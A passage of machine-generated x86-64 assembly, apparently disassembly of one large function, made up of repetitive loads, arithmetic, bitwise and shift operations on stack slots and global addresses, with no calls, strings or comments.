mov word [rsp + 0xbb8], ax
movsx eax, word [rsp + 0xa60]
movsx ecx, word [rsp + 0x840]
add eax, ecx
mov rcx, qword [rsp + 0x5528]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x5b78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5ff0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c80]
mov dword [rsp + 0x2e4c], eax
mov rax, qword [rsp + 0x5af8]
mov ecx, dword [rsp + 0x2cd0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2df8], eax
lea rax, [rsp + 0x5678]
mov qword [rsp + 0x6860], rax
lea rax, [rsp + 0x3b]
mov qword [0x140114520], rax
mov rax, qword [rsp + 0x5740]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe3]
and eax, ecx
mov byte [rsp + 0x34], al
mov rax, qword [0x140114450]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e58]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa00], ax
movzx eax, word [rsp + 0x854]
mov word [rsp + 0xbbc], ax
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
mov rcx, qword [0x140114288]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf3], al
lea rax, [rsp + 0x2dd0]
mov qword [rsp + 0x6868], rax
mov rax, qword [rsp + 0x5518]
mov rcx, qword [rsp + 0x55d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x56c0], rax
mov rax, qword [rsp + 0x6498]
mov rcx, qword [rsp + 0x53a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x6870], rax
lea rax, [rsp + 0xca]
mov qword [0x140114528], rax
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x860]
shl eax, cl
mov rcx, qword [rsp + 0x5940]
mov word [rcx], ax
lea rax, [rsp + 0x36]
mov qword [rsp + 0x6878], rax
mov rax, qword [rsp + 0x4f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x87]
xor eax, ecx
mov rcx, qword [rsp + 0x52a0]
mov byte [rcx], al
lea rax, [rsp + 0x8b8]
mov qword [rsp + 0x6880], rax
mov rax, qword [rsp + 0x67a8]
mov ecx, dword [rsp + 0x2da0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2b28], eax
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x5a38]
mov qword [rsp + 0x6888], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6888]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5818]
mov qword [rcx], rax
lea rax, [rsp + 0x2d2c]
mov qword [rsp + 0x6890], rax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x50b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x59f8], rax
mov rax, qword [rsp + 0x4bc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa80]
add eax, ecx
mov word [0x140113018], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x6898], rax
movsx eax, byte [0x140114217]
movsx ecx, byte [rsp + 0x4a]
add eax, ecx
mov rcx, qword [rsp + 0x4f08]
mov byte [rcx], al
movzx eax, word [rsp + 0x8d4]
mov rcx, qword [rsp + 0x5668]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x5398]
movzx eax, byte [rax]
mov byte [rsp + 0x106], al
mov rax, qword [rsp + 0x5b38]
mov rcx, qword [rsp + 0x5750]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bf8], eax
mov rax, qword [rsp + 0x4f38]
mov rax, qword [rax]
mov qword [rsp + 0x68a0], rax
mov rax, qword [rsp + 0x6748]
mov rcx, qword [rsp + 0x67e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5410], rax
mov eax, dword [rsp + 0x2bb4]
mov ecx, dword [rsp + 0x2e3c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fe8]
mov dword [rcx], eax
lea rax, [rsp + 0xa78]
mov qword [0x140114530], rax
movzx eax, byte [rsp + 0xd8]
mov byte [rsp + 0x107], al
mov rax, qword [0x140114330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb98]
sub eax, ecx
mov rcx, qword [rsp + 0x5b58]
mov word [rcx], ax
lea rax, [rsp + 0xa38]
mov qword [rsp + 0x68a8], rax
movzx eax, word [rsp + 0x92c]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xabc], ax
mov eax, dword [rsp + 0x2c18]
mov ecx, dword [rsp + 0x2c98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bd8], eax
mov eax, dword [rsp + 0x2b18]
mov dword [rsp + 0x2e50], eax
mov rax, qword [rsp + 0x6168]
mov rcx, qword [rsp + 0x6848]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5718]
mov qword [rcx], rax
lea rax, [0x140114160]
mov qword [rsp + 0x68b0], rax
movzx eax, byte [rsp + 0x76]
mov rcx, qword [rsp + 0x4ed0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401141f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x54f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6588]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ed0]
mov byte [rcx], al
lea rax, [rsp + 0xa1c]
mov qword [rsp + 0x68b8], rax
mov rax, qword [rsp + 0x5b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5630]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x50c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb8]
and eax, ecx
mov byte [rsp + 0x46], al
mov rax, qword [rsp + 0x64d0]
mov rax, qword [rax]
mov qword [rsp + 0x68c0], rax
mov eax, dword [rsp + 0x2dbc]
mov ecx, dword [rsp + 0x2cec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66c0]
mov dword [rcx], eax
lea rax, [rsp + 0x6750]
mov qword [rsp + 0x68c8], rax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x5770]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b50], eax
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8cc]
add eax, ecx
mov word [0x140113030], ax
movsx eax, byte [rsp + 0xdb]
mov rcx, qword [0x140114178]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov byte [rcx], al
lea rax, [rsp + 0xa38]
mov qword [rsp + 0x68d0], rax
mov rax, qword [rsp + 0x5700]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5fe8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8b], al
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x68d8], rax
mov rax, qword [rsp + 0x59f0]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5a50]
mov rcx, qword [rsp + 0x5930]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x50f0]
mov qword [rcx], rax
lea rax, [rsp + 0x2e10]
mov qword [rsp + 0x68e0], rax
mov rax, qword [rsp + 0x5390]
mov rcx, qword [rsp + 0x4b88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5478]
mov dword [rcx], eax
movzx eax, word [rsp + 0xaec]
mov word [rsp + 0xbc0], ax
mov rax, qword [rsp + 0x5160]
movzx eax, word [rax]
mov word [0x140114538], ax
mov rax, qword [0x140114490]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd4]
xor eax, ecx
mov rcx, qword [rsp + 0x6558]
mov byte [rcx], al
movzx eax, byte [rsp + 0x4e]
mov byte [rsp + 0x108], al
movsx eax, word [rsp + 0xa88]
movsx ecx, word [rsp + 0x994]
or eax, ecx
mov word [rsp + 0x9e4], ax
mov rax, qword [rsp + 0x5670]
movzx ecx, al
mov rax, qword [rsp + 0x6678]
shr rax, cl
mov rcx, qword [rsp + 0x5400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x55b8]
mov eax, dword [rax]
mov dword [rsp + 0x2e54], eax
mov rax, qword [rsp + 0x5fb0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x63b8]
mov qword [rsp + 0x68e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2ddc], eax
lea rax, [0x140114160]
mov qword [rsp + 0x68f0], rax
mov rax, qword [rsp + 0x5dc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x91c]
sub eax, ecx
mov rcx, qword [rsp + 0x6758]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0x59d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401141f0]
mov byte [rcx], al
mov rax, qword [0x140114498]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaf]
add eax, ecx
mov byte [rsp + 0x84], al
lea rax, [rsp + 0x928]
mov qword [rsp + 0x68f8], rax
mov rax, qword [rsp + 0x5e40]
movzx eax, byte [rax]
movzx ecx, byte [0x140113022]
sub eax, ecx
mov byte [rsp + 0xec], al
lea rax, [rsp + 0x2cc8]
mov qword [rsp + 0x6900], rax
mov rax, qword [rsp + 0x4ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5760]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bf4]
mov ecx, dword [rsp + 0x2ca4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ba8], eax
lea rax, [rsp + 0x5690]
mov qword [rsp + 0x6908], rax
movzx eax, word [rsp + 0xad0]
mov rcx, qword [rsp + 0x51c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6058]
mov word [rcx], ax
lea rax, [rsp + 0x89c]
mov qword [0x140114540], rax
mov rax, qword [0x1401141c0]
movzx eax, word [rax]
mov word [rsp + 0xbc4], ax
mov rax, qword [rsp + 0x6270]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e]
add eax, ecx
mov byte [rsp + 0xd2], al
movsx eax, byte [rsp + 0xd1]
movsx ecx, byte [rsp + 0x77]
sub eax, ecx
mov rcx, qword [rsp + 0x58e8]
mov byte [rcx], al
lea rax, [rsp + 0x2c20]
mov qword [rsp + 0x6910], rax
mov rax, qword [rsp + 0x6400]
mov rcx, qword [rsp + 0x4e60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5678], rax
mov rax, qword [rsp + 0x4ec8]
mov qword [rsp + 0x6918], rax
mov eax, dword [rsp + 0x2d04]
mov rcx, qword [rsp + 0x55a0]
mov qword [rsp + 0x6920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6920]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x4f88]
movzx eax, byte [rax]
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x5dc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
xor eax, ecx
mov word [0x140113090], ax
movsx eax, byte [rsp + 0x88]
movsx ecx, byte [rsp + 0xcf]
or eax, ecx
mov rcx, qword [rsp + 0x58e8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x3f]
movsx ecx, byte [rsp + 0x6f]
sar eax, cl
mov byte [rsp + 0x104], al
lea rax, [rsp + 0x9e4]
mov qword [rsp + 0x6928], rax
movzx eax, byte [0x140113047]
mov rcx, qword [rsp + 0x5ed0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5700]
mov byte [rcx], al
mov rax, qword [rsp + 0x6528]
mov rax, qword [rax]
mov qword [rsp + 0x6930], rax
mov rax, qword [rsp + 0x5c08]
mov rcx, qword [rsp + 0x5198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a4c], eax
mov rax, qword [rsp + 0x5550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c14]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d90], eax
lea rax, [rsp + 0x6480]
mov qword [rsp + 0x6938], rax
lea rax, [rsp + 0xa0c]
mov qword [0x140114548], rax
mov rax, qword [rsp + 0x5a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5f48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
movzx eax, word [rsp + 0x950]
mov word [rsp + 0xbc8], ax
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xafc]
add eax, ecx
mov word [rsp + 0x984], ax
movsx eax, word [rsp + 0x968]
mov rcx, qword [rsp + 0x65d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov word [rcx], ax
lea rax, [rsp + 0x2d5c]
mov qword [rsp + 0x6940], rax
mov rax, qword [rsp + 0x5f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5eb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x66b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6650]
mov eax, dword [rax]
mov dword [rsp + 0x2e58], eax
mov rax, qword [rsp + 0x62e0]
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6268], rax
lea rax, [rsp + 0xac]
mov qword [0x140114550], rax
lea rax, [rsp + 0x8b]
mov qword [rsp + 0x6948], rax
mov rax, qword [0x140114290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x954]
sub eax, ecx
mov word [rsp + 0x940], ax
mov rax, qword [rsp + 0x68a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x850]
add eax, ecx
mov word [rsp + 0xa00], ax
mov rax, qword [0x1401142f8]
movzx eax, byte [rax]
mov byte [rsp + 0x10a], al
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2da4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c4c], eax
mov rax, qword [rsp + 0x5d50]
mov rax, qword [rax]
mov qword [rsp + 0x6950], rax
mov rax, qword [rsp + 0x5af8]
mov ecx, dword [rsp + 0x2dbc]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5fd0]
mov rcx, qword [rsp + 0x5910]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5ab0], rax
mov rax, qword [rsp + 0x6140]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x908]
shl eax, cl
mov word [0x1401144a8], ax
mov rax, qword [rsp + 0x60d0]
movzx eax, byte [rax]
mov byte [rsp + 0x10b], al
movsx eax, word [rsp + 0x924]
mov rcx, qword [rsp + 0x5530]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x9ac], ax
mov rax, qword [rsp + 0x5308]
movzx eax, byte [rax]
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x5b80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x58e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5478]
mov rcx, qword [rsp + 0x6698]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
lea rax, [rsp + 0x4e08]
mov qword [rsp + 0x6958], rax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6420]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x57a8], rax
mov rax, qword [rsp + 0x5a20]
mov eax, dword [rax]
mov dword [rsp + 0x2e5c], eax
lea rax, [rsp + 0xcd]
mov qword [0x140114558], rax
mov rax, qword [rsp + 0x4f08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
and eax, ecx
mov rcx, qword [rsp + 0x5828]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5688]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb30], ax
lea rax, [rsp + 0xaac]
mov qword [rsp + 0x6960], rax
movzx eax, word [rsp + 0xb10]
movzx ecx, word [0x140113064]
add eax, ecx
mov word [rsp + 0x988], ax
lea rax, [rsp + 0x2c38]
mov qword [rsp + 0x6968], rax
mov rax, qword [rsp + 0x66f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6368]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bb4]
mov dword [rsp + 0x2e60], eax
mov rax, qword [rsp + 0x5be8]
mov rcx, qword [rsp + 0x6860]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6540]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6270]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113027], al
mov rax, qword [rsp + 0x4f80]
movsx eax, word [rax]
mov rcx, qword [0x140114510]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5608]
mov word [rcx], ax
lea rax, [rsp + 0x87]
mov qword [rsp + 0x6970], rax
movzx eax, word [rsp + 0xb30]
movzx ecx, word [rsp + 0x958]
shl eax, cl
mov word [rsp + 0xa10], ax
mov rax, qword [0x140114418]
movzx eax, word [rax]
mov word [rsp + 0xbcc], ax
mov eax, dword [rsp + 0x2c04]
mov rcx, qword [rsp + 0x5060]
mov qword [rsp + 0x6978], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6978]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x5820]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2c80]
mov ecx, dword [rsp + 0x2a5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bcc], eax
mov rax, qword [rsp + 0x5d80]
mov qword [rsp + 0x6980], rax
mov rax, qword [rsp + 0x50f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
sub eax, ecx
mov byte [0x14011305f], al
lea rax, [0x1401130a4]
mov qword [rsp + 0x6988], rax
movsx eax, byte [rsp + 0x4a]
movsx ecx, byte [rsp + 0x10b]
add eax, ecx
mov rcx, qword [rsp + 0x68d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xaa]
mov rcx, qword [rsp + 0x6718]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x100], al
lea rax, [0x14011302c]
mov qword [rsp + 0x6990], rax
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [rsp + 0x6700]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x59e0], rax
mov rax, qword [rsp + 0x59f8]
mov qword [rsp + 0x6998], rax
mov rax, qword [rsp + 0x6298]
mov rcx, qword [rsp + 0x6080]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b34], eax
mov rax, qword [rsp + 0x64c0]
mov ecx, dword [rsp + 0x2b1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b20], eax
movzx eax, byte [rsp + 0x81]
movzx ecx, byte [0x140113032]
add eax, ecx
mov rcx, qword [0x140114508]
mov byte [rcx], al
lea rax, [rsp + 0xfc]
mov qword [rsp + 0x69a0], rax
mov rax, qword [rsp + 0x5668]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8fc]
sub eax, ecx
mov word [rsp + 0xb34], ax
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x69a8], rax
movsx eax, word [0x1401142e0]
mov rcx, qword [rsp + 0x5940]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6990]
mov word [rcx], ax
mov rax, qword [rsp + 0x55d8]
mov eax, dword [rax]
mov dword [rsp + 0x2e64], eax
mov rax, qword [rsp + 0x5138]
movzx ecx, al
mov rax, qword [rsp + 0x5650]
shr rax, cl
mov rcx, qword [rsp + 0x6090]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5db8]
mov rcx, qword [rsp + 0x6348]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x54a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ae8]
mov dword [rsp + 0x2e68], eax
mov rax, qword [rsp + 0x5d98]
movsx eax, word [rax]
movsx ecx, word [0x140114210]
or eax, ecx
mov word [rsp + 0x8c8], ax
movzx eax, word [rsp + 0x8f4]
mov rcx, qword [rsp + 0x5148]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401130b4], ax
lea rax, [rsp + 0xe5]
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x6170]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb8]
and eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x6688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6270]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5b], al
mov rax, qword [rsp + 0x6528]
mov rax, qword [rax]
mov qword [rsp + 0x69b8], rax
mov rax, qword [rsp + 0x5948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ca8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2dc8], eax
lea rax, [rsp + 0x2e44]
mov qword [rsp + 0x69c0], rax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x67e0], rax
movzx eax, word [rsp + 0xa08]
movzx ecx, word [0x140113010]
sub eax, ecx
mov word [rsp + 0xa2c], ax
mov rax, qword [rsp + 0x5f78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
add eax, ecx
mov byte [0x140114157], al
lea rax, [rsp + 0xa6c]
mov qword [rsp + 0x69c8], rax
movzx eax, word [rsp + 0xa8c]
movzx ecx, word [rsp + 0x980]
and eax, ecx
mov rcx, qword [rsp + 0x6120]
mov word [rcx], ax
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x69d0], rax
mov eax, dword [rsp + 0x2cd0]
mov ecx, dword [rsp + 0x2c88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x63c0]
mov dword [rcx], eax
mov rax, qword [0x140113008]
mov qword [rsp + 0x69d8], rax
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x5550]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d28], eax
mov rax, qword [rsp + 0x6258]
mov rcx, qword [rsp + 0x67e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x59f8], rax
movzx eax, word [rsp + 0xae0]
mov word [rsp + 0xbd0], ax
movsx eax, byte [rsp + 0x40]
movsx ecx, byte [rsp + 0xa7]
or eax, ecx
mov rcx, qword [0x140114178]
mov byte [rcx], al
movsx eax, word [rsp + 0x920]
mov rcx, qword [rsp + 0x5978]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xaf4], ax
lea rax, [rsp + 0xbc4]
mov qword [rsp + 0x69e0], rax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x50f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2afc]
mov rcx, qword [rsp + 0x63b8]
mov qword [rsp + 0x69e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69e8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5168]
mov dword [rcx], eax
mov eax, dword [0x140114150]
mov dword [rsp + 0x2e6c], eax
mov rax, qword [rsp + 0x5a78]
mov rcx, qword [rsp + 0x5128]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d38]
mov rax, qword [rax]
mov qword [rsp + 0x69f0], rax
movsx eax, byte [rsp + 0xf2]
movsx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [rsp + 0x5828]
mov byte [rcx], al
mov rax, qword [rsp + 0x53f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
sub eax, ecx
mov word [0x1401130b8], ax
movsx eax, word [rsp + 0xb3c]
movsx ecx, word [0x140113034]
add eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x69f8], rax
movzx eax, byte [rsp + 0x7e]
movzx ecx, byte [rsp + 0x7f]
add eax, ecx
mov rcx, qword [rsp + 0x54f0]
mov byte [rcx], al
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x6a00], rax
mov rax, qword [rsp + 0x6840]
mov rax, qword [rax]
mov rcx, qword [0x140114160]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5858], rax
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x5430]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6520]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6210]
mov eax, dword [rax]
mov dword [rsp + 0x2e70], eax
mov eax, dword [rsp + 0x2c54]
mov ecx, dword [rsp + 0x2e10]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2df0], eax
movzx eax, word [rsp + 0x8a8]
mov word [0x140114560], ax
mov rax, qword [rsp + 0x5360]
movzx eax, byte [rax]
mov byte [rsp + 0x10d], al
movsx eax, byte [0x14011301f]
mov rcx, qword [rsp + 0x6360]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5038]
mov byte [rcx], al
lea rax, [rsp + 0x8b4]
mov qword [rsp + 0x6a08], rax
movsx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x55a8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6568]
movzx ecx, al
mov rax, qword [0x140114160]
shl rax, cl
mov qword [rsp + 0x4e08], rax
mov rax, qword [rsp + 0x52e8]
mov rax, qword [rax]
mov qword [rsp + 0x6a10], rax
mov rax, qword [rsp + 0x5bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c28], eax
lea rax, [rsp + 0x2c48]
mov qword [rsp + 0x6a18], rax
mov rax, qword [rsp + 0x6778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5e70]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401142f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0x62f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov rax, qword [0x140114408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdd]
and eax, ecx
mov rcx, qword [rsp + 0x6588]
mov byte [rcx], al
movzx eax, word [rsp + 0xb18]
mov word [rsp + 0xbd4], ax
movsx eax, byte [rsp + 0x32]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x6010]
mov qword [rsp + 0x6a20], rax
mov eax, dword [rsp + 0x2b9c]
mov ecx, dword [rsp + 0x2d10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x56b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f00]
mov rcx, qword [rsp + 0x51d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c68]
mov qword [rcx], rax
lea rax, [rsp + 0x2d8c]
mov qword [rsp + 0x6a28], rax
mov rax, qword [rsp + 0x6508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9cc]
add eax, ecx
mov word [0x1401130bc], ax
mov rax, qword [rsp + 0x61d0]
movzx eax, word [rax]
mov rcx, qword [0x140114228]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e70]
mov word [rcx], ax
lea rax, [rsp + 0x71]
mov qword [rsp + 0x6a30], rax
mov rax, qword [rsp + 0x65e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5b48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb84], ax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x6a38], rax
mov rax, qword [rsp + 0x5ab8]
mov rcx, qword [rsp + 0x5618]
